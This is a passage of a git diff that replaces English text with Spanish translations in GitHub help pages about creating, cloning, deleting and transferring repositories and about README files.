+- "[Acerca de los wikis](/communities/documenting-your-project-with-wikis/about-wikis)"
+- "[Glosario de {% data variables.product.prodname_dotcom %}](/articles/github-glossary)"
diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
index 6a94224b07..4a10d7f217 100644
--- a/translations/es-ES/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
+++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/cloning-a-repository.md
@@ -25,8 +25,6 @@ Puedes clonar tu repositorio existente o clonar el repositorio existente de algu
 
 ## Clonar un repositorio
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
index a8a463dce3..ee9caffb14 100644
--- a/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
+++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a new repository
-intro: You can create a new repository on your personal account or any organization where you have sufficient permissions.
+title: Crear un repositorio nuevo
+intro: Puedes crear un repositorio nuevo en tu cuenta personal o la cuenta de cualquier organización en la que tengas los permisos suficientes.
 redirect_from:
   - /creating-a-repo
   - /articles/creating-a-repository-in-an-organization
@@ -19,41 +19,39 @@ versions:
 topics:
   - Repositories
 ---
+
 {% tip %}
 
-**Tip:** Owners can restrict repository creation permissions in an organization. For more information, see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)."
+**Sugerencia:** Los propietarios pueden restringir los permisos de creación de repositorios en una organización. Para obtener más información, consulta "[Restringir la creación de repositorios en tu organización](/articles/restricting-repository-creation-in-your-organization)".
 
 {% endtip %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also create a repository using the {% data variables.product.prodname_cli %}. For more information, see "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" in the {% data variables.product.prodname_cli %} documentation.
+**Tip**: También puedes crear un repositorio utilizando el {% data variables.product.prodname_cli %}. Para obtener más información, consulta "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" en la documentación de {% data variables.product.prodname_cli %}.
 
 {% endtip %}
 {% endif %}
 
 {% data reusables.repositories.create_new %}
-2. Optionally, to create a repository with the directory structure and files of an existing repository, use the **Choose a template** drop-down and select a template repository. You'll see template repositories that are owned by you and organizations you're a member of or that you've used before. For more information, see "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)."
-  ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
-3. Optionally, if you chose to use a template, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**.
-    ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
-3. In the Owner drop-down, select the account you wish to create the repository on.
-   ![Owner drop-down menu](/assets/images/help/repository/create-repository-owner.png)
+2. Otra opción para crear un repositorio con la estructura del directorio y los archivos de un repositorio existente es usar el menú desplegable **Elegir una plantilla** y seleccionar un repositorio de plantillas. Verás repositorios de plantillas que te pertenecen a ti y a las organizaciones de las que eres miembro o bien repositorios de plantillas que has usado anteriormente. Para obtener más información, consulta "[Crear un repositorio a partir de una plantilla](/articles/creating-a-repository-from-a-template)". ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
+3. De manera opcional, si decides utilizar una plantilla, para incluir la estructura del directorio y los archivos de todas las ramas en la misma y no solo la rama predeterminada, selecciona **Incluir todas las ramas**. ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
+3. En el menú desplegable de Propietario, selecciona la cuenta en la cual quieres crear el repositorio. ![Menú desplegable Propietario](/assets/images/help/repository/create-repository-owner.png)
 {% data reusables.repositories.repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
-6. If you're not using a template, there are a number of optional items you can pre-populate your repository with. If you're importing an existing repository to {% data variables.product.product_name %}, don't choose any of these options, as you may introduce a merge conflict. You can add or create new files using the user interface or choose to add new files using the command line later. For more information, see "[Importing a Git repository using the command line](/articles/importing-a-git-repository-using-the-command-line/)," "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)," and "[Addressing merge conflicts](/articles/addressing-merge-conflicts/)."
-    - You can create a README, which is a document describing your project. For more information, see "[About READMEs](/articles/about-readmes/)."
-    - You can create a *.gitignore* file, which is a set of ignore rules. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)."{% ifversion fpt or ghec %}
-    - You can choose to add a software license for your project. For more information, see "[Licensing a repository](/articles/licensing-a-repository)."{% endif %}
+6. Si no estás utilizando una plantilla, hay varios elementos opcionales que puedes pre-cargar en tu repositorio. Si estás importando un repositorio existente a {% data variables.product.product_name %}, no elijas ninguna de estas opciones, ya que producirás un conflicto de fusión. Puedes agregar o crear nuevos archivos usando la interfaz de usuario o elegir agregar nuevos archivos usando luego la línea de comando. Para obtener más información, consulta las secciones "[Importar un repositorio de Git utilizando la línea de comandos](/articles/importing-a-git-repository-using-the-command-line/)", "[Agregar un archivo a un repositorio](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" y "[Abordar los conflictos de fusión](/articles/addressing-merge-conflicts/)".
+    - Puedes crear un README, que es un documento que describe tu proyecto. Para obtener más información, consulta "[Acerca de los README](/articles/about-readmes/)".
+    - Puedes crear un archivo *.gitignore*, que es un conjunto de reglas de ignorar. Para obtener más información, consulta "[Ignorar archivos](/github/getting-started-with-github/ignoring-files)".{% ifversion fpt or ghec %}
+    - Puedes elegir agregar una licencia de software a tu proyecto. Para más información, consulta "[Licenciando un repositorio](/articles/licensing-a-repository)."{% endif %}
 {% data reusables.repositories.select-marketplace-apps %}
 {% data reusables.repositories.create-repo %}
 {% ifversion fpt or ghec %}
-9. At the bottom of the resulting Quick Setup page, under "Import code from an old repository", you can choose to import a project to your new repository. To do so, click **Import code**.
+9. En la parte inferior de la página de Configuración rápida resultante, en "Importar el código del repositorio anterior", puedes elegir importar un proyecto en tu nuevo repositorio. Para hacerlo, haz clic en **Importar código**.
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- [Administrar el acceso a los repositorios de tu organización](/articles/managing-access-to-your-organization-s-repositories)"
+- [Guías de código abierto](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
index e5428dc4c8..472f9dbf8b 100644
--- a/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
+++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issues-only repository
-intro: '{% data variables.product.product_name %} does not provide issues-only access permissions, but you can accomplish this using a second repository which contains only the issues.'
+title: Crear un repositorio solo para propuestas
+intro: '{% data variables.product.product_name %} no otorga permisos de acceso solo para propuestas, pero puedes cumplir con este requisito usando un segundo repositorio que contenga solo las propuestas.'
 redirect_from:
   - /articles/issues-only-access-permissions
   - /articles/is-there-issues-only-access-to-organization-repositories
@@ -14,13 +14,14 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Issues-only repository
+shortTitle: Repositorio exclusivo para propuestas
 ---
-1. Create a **private** repository to host the source code from your project.
-2. Create a second repository with the permissions you desire to host the issue tracker.
-3. Add a README file to the issues repository explaining the purpose of this repository and linking to the issues section.
-4. Set your collaborators or teams to give access to the repositories as you desire.
 
-Users with write access to both can reference and close issues back and forth across the repositories, but those without the required permissions will see references that contain a minimum of information.
+1. Crea un repositorio **privado** para alojar el código fuente de tu proyecto.
+2. Crea un segundo repositorio con los permisos que deseas alojar para el usuario a cargo del seguimiento de la propuesta.
+3. Agrega un archivo README al repositorio de propuestas que explique el propósito de este repositorio y establezca un enlace con la sección de las propuestas.
+4. Indica a tus colaboradores o equipos que den acceso a los repositorios que desees.
 
-For example, if you pushed a commit to the private repository's default branch with a message that read `Fixes organization/public-repo#12`, the issue would be closed, but only users with the proper permissions would see the cross-repository reference indicating the commit that closed the issue. Without the permissions, a reference still appears, but the details are omitted.
+Los usuarios con acceso de escritura a ambos pueden referenciar y cerrar las propuestas a través de los repositorios, pero los usuarios que no tengan los permisos requeridos verán referencias que contienen información mínima.
+
+Por ejemplo, si subiste una confirmación a la rama predeterminada del repositorio privado con un mensaje que dice `Fixes organization/public-repo#12`, la propuesta se cerrará, pero solo los usuarios con los permisos adecuados verán la referencia entre los repositorios que indica la confirmación que determinó que se cerrara la propuesta. Sin los permisos sigue apareciendo una referencia, pero se omiten los detalles.
diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
index f9f2013c0c..608e83527a 100644
--- a/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
+++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a repository
-intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository.
+title: Eliminar un repositorio
+intro: Puedes eliminar cualquier repositorio o bifurcación si eres un propietario de la organización o si tienes permisos de administración para el repositorio o la bifurcación. Eliminar un repositorio bifurcado no elimina el repositorio ascendente.
 redirect_from:
   - /delete-a-repo
   - /deleting-a-repo
@@ -15,26 +15,25 @@ versions:
 topics:
   - Repositories
 ---
-{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %}
 
-{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %}
+{% data reusables.organizations.owners-and-admins-can %} elimina un repositorio de la organización. Si se ha deshabilitado **Permitir que los miembros eliminen o transfieran repositorios para esta organización**, solo los propietarios de la organización pueden eliminar los repositorios de la organización. {% data reusables.organizations.new-repo-permissions-more-info %}
+
+{% ifversion not ghae %}El borrar un repositorio público no borrará ninguna bifurcación del mismo.{% endif %}
 
 {% warning %}
 
-**Warnings**:
+**Advertencias**:
 
-- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone.
-- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository.
+- El borrar un repositorio borrará los adjuntos del lanzamiento y los permisos de equpo **permanentemente**. Esta acción **no** se puede deshacer.
+- El borrar un repositorio privado{% ifversion ghes or ghec or ghae %} o interno{% endif %} borrará también todas sus bifurcaciones.
 
 {% endwarning %}
 
-Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+Algunos repositorios borrados pueden restablecerse dentro de los primeros 90 días después de haberse borrado. {% ifversion ghes or ghae %}Tu administrador de sitio podría ser capaz de restablecer un repositorio borrado para ti. Para obtener más información, consulta "[Restaurar un repositorio eliminado](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)". {% else %}Para obtener más información, consulta la sección"[Restaurar un repositorio eliminado](/articles/restoring-a-deleted-repository)".{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-2. Under Danger Zone, click **Delete this repository**.
-   ![Repository deletion button](/assets/images/help/repository/repo-delete.png)
-3. **Read the warnings**.
-4. To verify that you're deleting the correct repository, type the name of the repository you want to delete.
-   ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png)
-5. Click **I understand the consequences, delete this repository**.
+2. En la Zona de peligro, haz clic en **Eliminar este repositorio**. ![Botón Eliminar repositorio](/assets/images/help/repository/repo-delete.png)
+3. **Lee las advertencias**.
+4. Para verificar que está eliminando el repositorio correcto, escribe el nombre del repositorio que deseas eliminar. ![Etiqueta de eliminación](/assets/images/help/repository/repo-delete-confirmation.png)
+5. Haga clic en **Comprendo las consecuencias. Eliminar este repositorio**.
diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
index 82edf7150d..32934b1829 100644
--- a/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
+++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring a repository
-intro: You can transfer repositories to other users or organization accounts.
+title: Transferir un repositorio
+intro: Puedes transferir repositorios a otros usuarios o cuentas de organización.
 redirect_from:
   - /articles/about-repository-transfers
   - /move-a-repo
@@ -22,60 +22,61 @@ versions:
 topics:
   - Repositories
 ---
-## About repository transfers
 
-When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings.
+## Acerca de las transferencias de repositorios
 
-Prerequisites for repository transfers: 
-- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %}
-- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization.
-- The target account must not have a repository with the same name, or a fork in the same network.
-- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %}
-- Internal repositories can't be transferred.{% endif %}
-- Private forks can't be transferred.
+Cuando transfieres un repositorio a un propietario nuevo, puede administrar de inmediato los contenidos, propuestas, solicitudes de extracción, lanzamientos, tableros de proyecto y parámetros del repositorio.
 
-{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
+Los prerrequisitos para las transferencias de repositorio son:
+- Cuando transfieres un repositorio que te pertenece a otra cuenta de usuario, el dueño nuevo recibirá un correo electrónico de confirmación.{% ifversion fpt or ghec %} El correo electrónico de confirmación incluye instrucciones para aceptar la transferencia. Si el propietario nuevo no acepta la transferencia en el transcurso de un día, la invitación se vencerá.{% endif %}
+- Para transferirle un repositorio que te pertenece a una organización, debes tener permiso para crear un repositorio en la organización de destino.
+- La cuenta objetivo no debe tener un repositorio con el mismo nombre o una bifurcación en la misma red.
+- El propietario original del repositorio se agrega como colaborador en el repositorio transferido. El resto de los colaboradores del repositorio transferido permanecerán intactos.{% ifversion ghec or ghes or ghae %}
+- Los repositorios internos no pueden transferirse.{% endif %}
+- Las bifurcaciones privadas no se pueden transferir.
 
-### What's transferred with a repository?
+{% ifversion fpt or ghec %}Si transfieres un repositorio privado a una cuenta de usuario u organización de {% data variables.product.prodname_free_user %}, éste perderá acceso a características como ramas protegidas y {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
 
-When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition:
+### ¿Qué se transfiere con un repositorio?
 
-- If the transferred repository is a fork, then it remains associated with the upstream repository.
-- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete.
-- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %}
-- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed.
-- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository.
-- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line:
+Cuando transfieres un repositorio, también se transfieren sus propuestas, solicitudes de extracción, wiki, estrellas y observadores. Si el repositorio transferido contiene webhooks, servicios, secretos, o llaves de implementación, estos permanecerán asociados después de que se complete la transferencia. Se preserva la información de Git acerca de las confirmaciones, incluidas las contribuciones. Asimismo:
+
+- Si el repositorio transferido es una bifurcación, sigue asociado con el repositorio ascendente.
+- Si el repositorio transferido tiene alguna bifurcación, esas bifurcaciones seguirán asociadas al repositorio después de que se complete la transferencia.
+- Si el repositorio transferido utiliza {% data variables.large_files.product_name_long %}, todos {% data variables.large_files.product_name_short %} los objetos se mueven automáticamente. Esta transferencia ocurre en segundo plano, así que, si tienes una cantidad grande de objetos de {% data variables.large_files.product_name_short %} o si los mismos objetos de {% data variables.large_files.product_name_short %} son grandes, podría tomar algo de tiempo para que ocurra la transferencia.{% ifversion fpt or ghec %} Antes de que transfieras un repositorio que utilice {% data variables.large_files.product_name_short %}, asegúrate de recibir una cuenta que tenga suficientes paquetes de datos para almacenar los objetos de {% data variables.large_files.product_name_short %} que vayas a migrar. Para obtener más información acerca de agregar almacenamiento para las cuentas de usuario, consulta "[Subir de categoría {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)".{% endif %}
+- Cuando se transfiere un repositorio entre dos cuentas de usuario, las asignaciones de propuestas se dejan intactas. Cuando transfieres un repositorio desde una cuenta de usuario a una organización, las propuestas asignadas a los miembros de la organización permanecen intactas, y todos los demás asignatarios de propuestas se eliminan. Solo los propietarios de la organización están autorizados a crear asignaciones de propuestas nuevas. Cuando transfieres un repositorio desde una organización a una cuenta de usuario, solo se mantienen las propuestas asignadas al propietario del repositorio, y se eliminan todos los demás asignatarios de propuestas.
+- Si el repositorio transferido contiene un {% data variables.product.prodname_pages %} sitio, se redirigen los enlaces al repositorio de Git en la web y a través de la actividad de Git. Sin embargo, no redirigimos {% data variables.product.prodname_pages %} asociadas al repositorio.
+- Todos los enlaces a la ubicación anterior del repositorio se redirigen de manera automática hacia la ubicación nueva. Cuando utilices `git clone`, `git fetch` o `git push` en un repositorio transferido, estos comando redirigirán a la ubicación del repositorio o URL nueva. Sin embargo, para evitar confusiones, es altamente recomendable actualizar cualquier clon local existente para que apunte a la nueva URL del repositorio. Puedes hacerlo utilizando `git remote` en la línea de comando:
 
   ```shell
   $ git remote set-url origin <em>new_url</em>
   ```
 
-- When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+- Cuando transfieres un repositorio desde una organización a una cuenta de usuario, los colaboradores de solo lectura de este no se transferirán. Esto es porque los colaboradores no pueden tener acceso de solo lectura a los repositorios que pertenecen a una cuenta de usuario. Para obtener más información acerca de los niveles de permiso en los repositorios, consulta las secciones "[Niveles de permiso para un repositorio de la cuenta de un usuario](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" y"[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Para obtener más información, consulta "[Administrar repositorios remotos](/github/getting-started-with-github/managing-remote-repositories)."
 
-### Repository transfers and organizations
+### Transferencias de repositorios y organizaciones
 
-To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization.
+Para transferir repositorios a una organización, debes tener permisos de creación de repositorios en la organización receptora. Si los propietarios de la organización inhabilitaron la creación de repositorios para los miembros de la organización, solo los propietarios de la organización pueden transferir repositorios hacia fuera o dentro de la organización.
 
-Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository.
+Una vez que se transfiere un repositorio a una organización, los parámetros de permiso del repositorio de la organización predeterminados y los privilegios de membresía predeterminados se aplicarán al repositorio transferido.
 
-## Transferring a repository owned by your user account
+## Transferir un repositorio que le pertenece a tu cuenta de usuario
 
-You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository.
+Puedes transferir tu repositorio a cualquier cuenta de usuario que acepte la transferencia de tu repositorio. Cuando se transfiere un repositorio entre dos cuentas de usuario, el propietario del repositorio original y los colaboradores se agregan automáticamente como colaboradores al repositorio nuevo.
 
-{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}
+{% ifversion fpt or ghec %}Si publicaste un sitio de {% data variables.product.prodname_pages %} en un repositorio privado y agregaste un dominio personalizado, antes de transferir el repositorio, deberás eliminar o actualizar tus registros de DNS para evitar el riesgo de que alguien más tome el dominio. Para obtener más información, consulta "[Administrar un dominio personalizado para tu sitio de {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
 
-## Transferring a repository owned by your organization
+## Transferir un repositorio que le pertenece a tu organización
 
-If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization.
+Si tienes permisos de propietario en una organización o permisos de administración para uno de sus repositorios, puedes transferir un repositorio que le pertenece a tu organización a tu cuenta de usuario o a otra organización.
 
-1. Sign into your user account that has admin or owner permissions in the organization that owns the repository.
+1. Inicia sesión en tu cuenta de usuario que tiene permisos de administración o de propietario en la organización a la que le pertenece el repositorio.
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
index bd1c73488f..d31590850a 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
@@ -1,6 +1,6 @@
 ---
-title: About READMEs
-intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.'
+title: Acerca de los archivos README
+intro: 'Puedes agregar un archivo README a tu repositorio para comentarle a otras personas por qué tu proyecto es útil, qué pueden hacer con tu proyecto y cómo lo pueden usar.'
 redirect_from:
   - /articles/section-links-on-readmes-and-blob-pages
   - /articles/relative-links-in-readmes
@@ -15,22 +15,23 @@ versions:
 topics:
   - Repositories
 ---
-## About READMEs
 
-You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions.
+## Acerca de los archivos README
 
-For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+Puedes agregar un archivo README a un repositorio para comunicar información importante sobre tu proyecto. El contar con un README, en conjunto con una licencia de repositorio{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, archivo de citas{% endif %}{% ifversion fpt or ghec %}, lineamientos de contribución y código de conducta{% elsif ghes %} y lineamientos de contribución{% endif %}, comunica las expectativas de tu proyecto y te ayuda a administrar las contribuciones.
 
-A README is often the first item a visitor will see when visiting your repository. README files typically include information on:
-- What the project does
-- Why the project is useful
-- How users can get started with the project
-- Where users can get help with your project
-- Who maintains and contributes to the project
+Para obtener más información acerca de cómo proporcionar lineamientos para tu proyecto, consulta la sección {% ifversion fpt or ghec %}"[Agregar un código de conducta para tu proyecto](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" y {% endif %}"[Configurar tu proyecto para que tenga contribuciones sanas](/communities/setting-up-your-project-for-healthy-contributions)".
 
-If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors.
+Un archivo README suele ser el primer elemento que verá un visitante cuando entre a tu repositorio. Los archivos README habitualmente incluyen información sobre:
+- Qué hace el proyecto.
+- Por qué el proyecto es útil.
+- Cómo pueden comenzar los usuarios con el proyecto.
+- Dónde pueden recibir ayuda los usuarios con tu proyecto
+- Quién mantiene y contribuye con el proyecto.
 
-![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png)
+Si colocas tu archivo README en la raíz de tu repositorio, `docs`, o en el directorio oculto `.github`, {% data variables.product.product_name %} lo reconocerá y automáticamente expondrá tu archivo README a los visitantes del repositorio.
+
+![Página principal del repositorio github/scientist y su archivo README](/assets/images/help/repository/repo-with-readme.png)
 
 {% ifversion fpt or ghes or ghec %}
 
@@ -38,31 +39,31 @@ If you put your README file in your repository's root, `docs`, or hidden `.githu
 
 {% endif %}
 
-![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png)
+![El archivo de README en tu nombre de usuario/repositorio de nombre de usuario](/assets/images/help/repository/username-repo-with-readme.png)
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-## Auto-generated table of contents for README files
+## Índice auto-generado de los archivos README
 
-For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %}  menu icon at the top left of the rendered page.
+Para la versión interpretada de cualquier archivo de lenguaje de marcado en un repositorio, incluyendo los archivos README, {% data variables.product.product_name %} generará un índice automáticamente con base en los encabezados de sección. Puedes ver el índice de un archivo README si haces clic en el icono de menú {% octicon "list-unordered" aria-label="The unordered list icon" %} en la parte superior izquierda de la página interpretada.
 
-![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png)
+![README con TOC generado automáticamente](/assets/images/help/repository/readme-automatic-toc.png)
 
 {% endif %}
 
-## Section links in README files and blob pages
+## Enlaces de sección en los archivos README y las páginas blob
 
 {% data reusables.repositories.section-links %}
 
-## Relative links and image paths in README files
+## Enlaces relativos y rutas con imágenes en los archivos README
 
 {% data reusables.repositories.relative-links %}
 
 ## Wikis
 
-A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
+Un archivo README debe contener solo la información necesaria para que los desarrolladores comiencen a hacer contribuciones en tu proyecto. La documentación más grande es mejor para los wikis. Para obtener más información, consulta la sección "[Acerca de los wikis](/communities/documenting-your-project-with-wikis/about-wikis)".
 
-## Further reading
+## Leer más
 
-- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)"
-- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)"
+- "[Agregar un archivo a un repositorio](/articles/adding-a-file-to-a-repository)"
+- 18F's "[Hacer que los archivos README sean de lectura](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)"
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
index be5c459c90..42e80bfd5e 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
@@ -1,6 +1,6 @@
 ---
-title: About repository languages
-intro: The files and directories within a repository determine the languages that make up the repository. You can view a repository's languages to get a quick overview of the repository.
+title: Acerca de los idiomas del repositorio
+intro: Los archivos y los directorios dentro de un repositorio determinan los idiomas que componen el repositorio. Puedes ver los idiomas de un repositorio para obtener una descripción general rápida del repositorio.
 redirect_from:
